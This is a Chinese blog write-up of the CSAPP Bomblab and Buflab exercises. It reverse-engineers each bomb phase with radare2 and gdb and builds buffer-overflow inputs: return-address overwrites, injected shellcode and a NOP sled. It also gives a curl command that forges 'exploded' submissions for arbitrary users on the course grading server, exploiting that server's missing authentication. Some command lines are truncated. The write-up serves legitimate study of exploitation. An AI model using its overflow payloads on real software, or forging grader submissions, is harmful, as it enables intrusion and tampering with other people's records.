以CSAPP为教材,其中两个实验是Bomblab和Bublab,把自己解决方式和使用到的工具、命令等记录如下,窃以为分析了一些网上找不到的内容,使用到的工具也是网上很难找到的。
Bomblab
行为分析
initialize_bomb
在6个phase开始前执行,调用了signal
为SIGINT
注册了信号处理函数sig_handler
:输出“So
you think you can stop the bomb with ctrl-c, do
you”,sleep三秒后输出“Well...”, sleep一秒后输出“OK.
:-)”。之后initialize_bomb
调用init_driver
:向15214端口发起连接,并立刻关闭写端。
read_line
一行若大于等于78个字符就会产生错误。
phase_defused
每个任务成功后调用,会调用send_msg(0)
。
explode_bomb
任务失败后调用,实际上会调用send_msg(1)
。
服务端会发来爆炸信息,同时关闭之前15214端口监听的socket。
submitr
向166.111.68.242:15214发送HTTP
1.0请求,数据中包含bomb编号,用户编号和用户提交的字符串以及炸弹是否爆炸等。
另外服务端未对userid
做认证,导致可以提交错误的结果给任意用户:
1 | curl 'http://166.111.68.242:15214/csapp/submitr.pl/?userid=&lab=f12&result=xxx%3Aexploded%3A1%3Aa&submit=submit' |
调试环境
可以每次运行时都用gdb
打开,在explode_bomb
处下断点,但较为麻烦。注意到bomb
的行为,可以把send_msg
的第一个字节改为ret
指令,避免和服务器交互。
1 | r2 -qwc 'wa ret @sym.send_msg; s sym.explode_bomb; \ |
Phases
Phase 1
使用r2 -c af@sym.phase_1 -c pdf@sym.phase_1 bomb
反汇编可以发现phase_1
是一个取一个字符串参数的函数,把该字符串和某个.rodata
段里的字符串进行了比较,不相等则引爆炸弹。
% strings /tmp/bomb | grep Border
Border relations with Canada have never been better.
Phase 2
反汇编phase_2
:
% r2 -c af@sym.phase_2 -c pdf@sym.phase_2 bomb
研究read_six_numbers
发现这个函数取一个字符串参数,用sscanf
读入了6个int
。需要
取0, 1, 3, 6, 10, 15
即可。
Phase 3
下面代码实现了一个跳转表的switch
:
[0x080488a0]> pi 4 @0x08048e23
cmp dword [ebp-0xc], 0x7
ja 0x8048e6b
mov eax, [ebp-0xc]
jmp dword [eax*4+0x804a054]
发现输入为2 896
即可。
Phase 4
取两个参数a, b
的函数,0 <= a && a <= 14 && b == 7 && f(a, 0, 14) == 7
,
f
比较复杂,使用枚举法:
for i in `seq 0 30`; do { (cat in; echo "$i 7") | ./good |& grep -q EOF && notify-send $i;} &; done
得到答案14 7
。
Phase 5
有一层循环复制参数字符串,根据r2 -c ’af@sym.phase_5; pdf@sym.phase_5’ bomb
:
...
| 0x08048d3c c645e700 mov byte [ebp-0x19], 0x0
| 0x08048d40 c74424044da00408 mov dword [esp+0x4], str.oilers
| 0x08048d48 8d45e1 lea eax, [ebp-0x1f]
...
找到字符oilers
在array_2952
中的偏移,增加64转换成大写字母:
% r2 bomb
[0x080488a0]> px 16@sym.array.2952
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x0804a074 6d61 6475 6965 7273 6e66 6f74 7662 796c maduiersnfotvbyl
[0x080488a0]> !rax2 -S
oilers
6f696c6572730a
[0x080488a0]> !rax2 -S << 'oilers'
% xargs -n1 <<< '10 4 15 5 6 7' | perl -ane 'print chr($_+64)'
JDOEFG
Phase 6
读入6个
% nm good G node
0804b5dc D node1
0804b5d0 D node2
0804b5c4 D node3
0804b5b8 D node4
0804b5ac D node5
0804b5a0 D node6
% r2 bomb
[0x0804b5a0]> e hex.cols=12
[0x0804b5a0]> s sym.node6
[0x0804b5a0]> pxw 72
0x0804b5a0 0x000003cf 0x00000006 0x00000000 ............
0x0804b5ac 0x00000213 0x00000005 0x0804b5a0 ............
0x0804b5b8 0x00000248 0x00000004 0x0804b5ac H...........
0x0804b5c4 0x0000037b 0x00000003 0x0804b5b8 {...........
0x0804b5d0 0x00000099 0x00000002 0x0804b5c4 ............
0x0804b5dc 0x0000031a 0x00000001 0x0804b5d0 ............
[0x0804b5a0]>
其中第一行是node6
,最后一行是node1
,所以
node6 > node3 > node1 > node4 > node5 > node2
,
需要填6 3 1 4 5 2
。
Secret Phase
观察phase_defused
的代码可以发现有一个隐藏关卡secret_phase
,如果第6关通过了,phase_defused
会用sscanf
解析0x804b9d0
得到两个数和一个字符串,这个字符串如果是“DrEvil”那么就能进入隐藏关。
可以发现0x804b9d0
对应输入的第四行,而第四行本来就应该有两个数,所以可以在后面添加一个字符串“DrEvil”,在第6关通过进入隐藏关。隐藏关是和二叉搜索树相关的:
1 | struct Node { int key; Node *l, *r; }; |
只要从n1
根节点出发,先往左走,再往右走即可。
[0x080488a0]> s sym.n1
[0x0804b690]> pxw 12
0x0804b690 0x00000024 0x0804b684 0x0804b678 $.......x...
[0x0804b690]> s sym.n1+4
[0x0804b694]> pxw 1
0x0804b694 0x0004b684 .
[0x0804b694]> s sym.n1
[0x0804b690]> s sym.n1+4
[0x0804b694]> pxw 4
0x0804b694 0x0804b684 ....
[0x0804b68c]> s 0x0804b684+8
[0x0804b68c]> pxw 4
0x0804b68c 0x0804b66c l...
[0x0804b68c]> pxw 4 @0x0804b66c
0x0804b66c 0x00000016 ....
[0x0804b68c]> !rax2 0x16
22
输入22。
最后的输入文件是这样的:
Border relations with Canada have never been better.
0 1 3 6 10 15
2 896
14 7 DrEvil
JDOEFG
6 3 1 4 5 2
22
Buflab
行为分析
main
如果开启了nitro
mode(-n)则运行5次launcher
,否则运行一次。
launcher
调用了下面函数允许用户数据字符串的虚拟地址处可以执行代码:
1 | mmap(0x55586000, 1048576, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS|MAP_GROWSDOWN, 0, 0) |
launch
接受两个参数,分别表示nitro
mode是否开启和一个控制栈地址偏移的。调用alloca
修改esp
使得每次执行时栈地址相同。
validate
找到validate
的虚拟地址:
[0x08048970]> ? $$ @sym.validate
134516900 0x80490a4 01001110244 128.0M 804000:00a4 134516900 10100100 134516900.0 0.000000
观察validate
的xref可以发现有5处:smoke(0x0804907a), fizz(0x0804902f), bang, test, testn
,这5处validate
分别以参数
Phases
smoke: validate(0)
smoke
的代码如下:
1 | void smoke() |
非nitro
mode下main
会调用test
,而后者会调用getbuf
,让getbuf
返回时跳转到smoke
即可。getbuf
的代码如下:
1 | int getbuf() |
提供n
串即可。注意如果要把结果提交到服务端,因为会使用到submitr
(和之前BombLab的相同),
1 | (jot -s '' -b 00 56; echo -n 0804907a | tac -rs..; echo 0a) | \ |
fizz: validate(1)
1 | void fizz(int a) |
需要提供一个等于cookie
的参数,偏移量为返回地址+8,中间夹着的为返回后的地址,但因为fizz
调用exit(0)
退出了,这个返回地址用不到,可以任填:
1 | (jot -s '' -b 00 56; echo -n 0804902f | tac -rs..; echo 12345678; \ |
bang: validate(2)
1 | void bang() |
getbuf
返回到bang
前需要先把global_value
修改成cookie
。
可以让输入串最开头为一段shellcode修改global_value
并ret
,补齐到56个字节,再填写bang
的入口地址。
% r2 bufbomb
[0x08048970]> fl sym.global_value
0x0804c1ec
[0x08048970]> fl sym.cookie
0x0804c1e4
[0x08048970]>
% rasm2 'mov eax, 0804c1ech; mov ecx, 0804c1e4h; mov ecx, [ecx]; mov [eax], ecx; ret'
b8ecc10408b9e4c104088b098908c3
然后需要知道getbuf
的缓冲区在栈上的地址:
% gdb -batch bufbomb -x =(echo 'b getbuf\nr -u2011011269\np/x $ebp-0x34')
Breakpoint 1 at 0x8048bda
warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch).
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Userid: 2011011269
Cookie: 0x1328f63b
Breakpoint 1, 0x08048bda in getbuf ()
$1 = 0x5568316c
然后先写shellcode,pad后跟上输入字符串的地址和bomb
入口地址:
1 | (rasm2 'mov eax, 0804c1ech; mov ecx, 0804c1e4h; mov ecx, [ecx]; mov [eax], ecx; ret'; \ |
test: validate(3)
之前每次在test
调用完getbuf
后就修改返回地址不回到test
了,这次要继续执行test
的代码。另外需要恢复ebp
的值,在shellcode里设置即可,另外也可以在覆盖getbuf
的返回地址时写入ebp
的正确值:
1 | (rasm2 'mov eax, [0x0804c1e4]; mov ebp, 0x556831d0; push 0x08048c63; ret'; \ |
testn: validate(4)
命令行选项-n
进入,main
会用0和四个由0x80 - random() & 0xf0
生成的数调整testn
入口处的esp
。第一次调用testn
时栈地址不变,之后四次调用testn
栈地址调整量在calloc
分配的堆上的数是随机的。先获取第一次调用testn
里的getbufn
时的输入缓冲区地址:
% gdb -batch bufbomb -x =(echo 'b getbufn\nr -u2011011269 -n\np/x $ebp-0x208')
Breakpoint 1 at 0x8048bbf
warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch).
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Userid: 2011011269
Cookie: 0x1328f63b
Breakpoint 1, 0x08048bbf in getbufn ()
$1 = 0x55682f98
之后调用得到的地址会在这个值基础上增加lea ebp, [esp+028]
可以恢复testn
的ebp
。
% echo -e 'BITS 32\nmov eax, [0x0804c1e4]\nlea ebp, [esp+0x28]\npush 0x08048bfe\nret' > a.s
% nasm a.s
% xxd -p a
a1e4c104088d6c242868fe8b0408c3
在输入串最开头放上长为NOP sled
,之后跟上shellcode,然后再把长度pad成sed
复制成5份:
1 | (jot -s '' -b 90 240; echo a1e4c104088d6c242868fe8b0408c3; \ |
其他
工具
主要用到了尚在开发中的radare2
,文档很少,在使用过程中也发现了好几个bug,但总而言之这是款神器。
BSD jot
,用来产生重复的字符串。
coreutils
,包括tac -rs..
转换大小端。
xxd
,主要用-p
产生plain
hexdump,以及-r -p
从plain hexdump转换回去。
其他准备
一开始以为要用些手段去掉ASLR的,可以设置personality,或者更简单地,用setarch `arch` -R
执行,另外还要去掉所有环境变量以防止栈地址受到影响:
1 |
|
或者使用env -i setarch `arch` -R
运行。